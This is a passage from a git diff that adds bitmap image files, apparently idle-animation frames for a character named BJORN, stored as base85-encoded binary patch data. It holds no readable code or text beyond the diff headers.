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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..88ab0a73d349ead6eb8af7f82802f8bbcee4fa33 GIT binary patch literal 18462 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 